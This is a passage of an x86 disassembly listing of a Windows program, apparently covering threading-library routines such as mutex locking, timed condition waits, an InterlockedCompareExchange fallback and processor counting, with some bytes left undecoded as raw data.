		mov	[esi+0Ch], eax


loc_430D91:				; CODE XREF: sub_430C00+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D98:				; CODE XREF: sub_430C00+Aj
					; sub_430C00+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C00	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430E10	proc near		; CODE XREF: sub_430C00+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430EAE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430E42
		or	eax, 0FFFFFFFFh


loc_430E2C:				; CODE XREF: sub_430E10+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2750455h
		test	eax, eax
		jnz	short loc_430E9C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E42:				; CODE XREF: sub_430E10+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430E2C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E9C:				; CODE XREF: sub_430E10+2Aj
		cmp	eax, 102h
		jnz	short loc_430EAE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EAE:				; CODE XREF: sub_430E10+Bj
					; sub_430E10+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F00	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_430FA0
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_430FA0
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_430F95
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430F4A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430F4A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F4A:				; CODE XREF: sub_430F00+2Aj
					; sub_430F00+40j
		cmp	[esi+8], edi
		jnz	short loc_430F58
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_430F9A


loc_430F58:				; CODE XREF: sub_430F00+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 275072Fh
		test	eax, eax
		jl	short loc_430F88
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F88
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_430F88:				; CODE XREF: sub_430F00+6Ej
					; sub_430F00+7Ej
		push	edi
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F95:				; CODE XREF: sub_430F00+1Ej
		mov	ebx, 16h


loc_430F9A:				; CODE XREF: sub_430F00+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FA0:				; CODE XREF: sub_430F00+Aj
					; sub_430F00+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FE0	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431065
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431065
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431002
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431002:				; CODE XREF: sub_430FE0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431060
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431033
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43102B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43102B:				; CODE XREF: sub_430FE0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431033:				; CODE XREF: sub_430FE0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43105B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43105B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43105B:				; CODE XREF: sub_430FE0+57j
					; sub_430FE0+6Dj
		mov	edi, 10h


loc_431060:				; CODE XREF: sub_430FE0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431065:				; CODE XREF: sub_430FE0+Aj
					; sub_430FE0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310A0:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310D0:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431100:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43110C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43110C:				; CODE XREF: ___:00431106j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431120:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_431132
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431132:				; CODE XREF: ___:00431128j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_431155
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_431155
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 0BC1E856h, 0E890023Eh, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_431155:				; CODE XREF: ___:00431136j
					; ___:0043113Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43118E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43118E:				; CODE XREF: ___:00431184j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4311F6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2750455h
		test	eax, eax
		jnz	short loc_4311E7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4311D6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4311D6:				; CODE XREF: ___:004311B6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311E7:				; CODE XREF: ___:004311A2j
		cmp	eax, 102h
		jz	short loc_4311FC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311F6:				; CODE XREF: ___:00431194j
		nop
		call	near ptr 2811D0Bh


loc_4311FC:				; CODE XREF: ___:004311ECj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431250:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43126B
		mov	eax, [esp+0]


loc_43126B:				; CODE XREF: ___:00431265j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431280	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		call	near ptr 27C07DCh
		nop
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3E0, eax
		call	near ptr 27D0000h
		nop
		test	eax, eax
		mov	dword_50E3FC, eax
		jnz	short loc_4312CD
		mov	eax, dword_50E3E0
		mov	dword_50E3FC, offset sub_4012D0
		push	eax
		nop
		call	near ptr 27303D7h
		mov	dword_50E3E0, 0


loc_4312CD:				; CODE XREF: sub_431280+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431280	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431300	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_431350
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 0C5E89052h, 0E8022FECh
		dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 88E85007h,	90022FF0h
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_431300+7j
		mov	eax, 1
		retn
sub_431300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431380	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431380	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4313DB
		mov	eax, dword_50E3E8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3E80Dh, 4C48300h,	6A118Bh, 25E89052h
		db 0ECh, 2Fh, 2
; ---------------------------------------------------------------------------


loc_4313DB:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431410:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E9C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_50E3F0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43144E


loc_43142C:				; CODE XREF: ___:0043144Cj
		test	esi, esi
		jnz	short loc_43144E
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43142C


loc_43144E:				; CODE XREF: ___:0043142Aj
					; ___:0043142Ej
		push	offset dword_50E9C0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431490	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4314A9
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4314A9
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_4314A9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4314A9:				; CODE XREF: sub_431490+6j
					; sub_431490+Cj ...
		mov	eax, 1
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4314C0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_4314CF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4314CF:				; CODE XREF: sub_4314C0+7j
		push	0
		push	offset dword_50E3E8
		mov	dword_50E3E4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_4314FE
		push	eax
		push	offset dword_50E3EC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431503


loc_4314FE:				; CODE XREF: sub_4314C0+2Aj
		call	sub_40163B


loc_431503:				; CODE XREF: sub_4314C0+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E900
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E9C0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E980
		call	esi
		mov	eax, dword_50E3E4
		pop	esi
		retn
sub_4314C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	locret_431619
		mov	eax, dword_50E3E8
		test	eax, eax
		jz	short loc_431589
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3E8, 0


loc_431589:				; CODE XREF: sub_431560+14j
		mov	eax, dword_50E3EC
		test	eax, eax
		jz	short loc_4315A5
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3EC, 0


loc_4315A5:				; CODE XREF: sub_431560+30j
		push	esi
		push	offset dword_50E900
		nop
		call	near ptr 7C901005h
		mov	eax, dword_44574C
		cmp	eax, 1
		jz	short loc_4315D3
		push	edi
		mov	edi, dword_50FAC4


loc_4315C2:				; CODE XREF: sub_431560+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4315C2
		pop	edi


loc_4315D3:				; CODE XREF: sub_431560+59j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_50F858
		push	offset dword_50E980
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9C0
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E900
		call	esi
		mov	dword_50E3E4, 0
		pop	esi

locret_431619:				; CODE XREF: sub_431560+7j
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431650:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		call	near ptr 77C2C21Bh
		nop
		mov	eax, dword_50E3E8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436A5C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4316AC
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:00431699j
		dec	eax
		jz	short loc_4316B5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: ___:004316ADj
		mov	esi, [edi+14h]


loc_4316B8:				; CODE XREF: ___:004316AAj
					; ___:004316B3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4316D7
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4316D7:				; CODE XREF: ___:004316BCj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4317AA
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431788
		push	eax
		call	esi


loc_431788:				; CODE XREF: sub_431730+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_4317AA
		test	[esp+8Ch+var_8], 1
		jnz	short loc_4317AA
		push	eax
		call	esi


loc_4317AA:				; CODE XREF: sub_431730+11j
					; sub_431730+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317F0	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431811
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431811:				; CODE XREF: sub_4317F0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_431852
		push	esi
		call	sub_40222F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431852:				; CODE XREF: sub_4317F0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431877
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431877:				; CODE XREF: sub_4317F0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4317F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4318C0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4318E7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_4318E7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4318E7
		push	esi
		call	sub_40222F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 8


loc_4318E7:				; CODE XREF: sub_4318C0+7j
					; sub_4318C0+Ej ...
		pop	esi
		retn
sub_4318C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431900	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43196D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_43196D
		push	edi


loc_431915:				; CODE XREF: sub_431900+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431968
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_431943
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431943
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_431943
		push	eax


loc_43193E:				; CODE XREF: ___:004319B7j
		call	edi	; free
		add	esp, 4


loc_431943:				; CODE XREF: sub_431900+27j
					; sub_431900+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431968:				; CODE XREF: sub_431900+20j
		test	esi, esi
		jnz	short loc_431915
		pop	edi


loc_43196D:				; CODE XREF: sub_431900+8j
					; sub_431900+12j
		pop	esi
		pop	ebx
		retn
sub_431900	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431990	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3E8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431990	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7B3918h], edx
		ja	short loc_43193E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_4319C0+1


loc_4319C0:				; CODE XREF: ___:004319BEj
		jz	short loc_4319E5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_4319D2
		dec	eax
		jnz	short loc_4319D5
		or	esi, 0FFFFFFFFh
		jmp	short loc_4319D5
; ---------------------------------------------------------------------------


loc_4319D2:				; CODE XREF: ___:004319C8j
		mov	esi, [edi+14h]


loc_4319D5:				; CODE XREF: ___:004319CBj
					; ___:004319D0j
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_4319E5:				; CODE XREF: ___:loc_4319C0j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431A20	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431A3F


loc_431A32:				; CODE XREF: ___:00431A3Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A32


loc_431A3F:				; CODE XREF: ___:00431A30j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A80	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431A80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431AC0	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 2760A89h
		push	eax
		nop
		call	near ptr 2720AABh
		test	eax, eax
		jz	short loc_431B02
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431AEC:				; CODE XREF: sub_431AC0+33j
		test	eax, edx
		jz	short loc_431AF1
		inc	ecx


loc_431AF1:				; CODE XREF: sub_431AC0+2Ej
		shl	eax, 1
		jnz	short loc_431AEC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B02:				; CODE XREF: sub_431AC0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B30	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E9A0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431B64
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B64:				; CODE XREF: sub_431B30+17j
		test	eax, eax
		jnz	short loc_431B6D
		mov	esi, 16h


loc_431B6D:				; CODE XREF: sub_431B30+36j
		push	offset dword_50E9A0
		call	near ptr 7C9010EDh
		nop
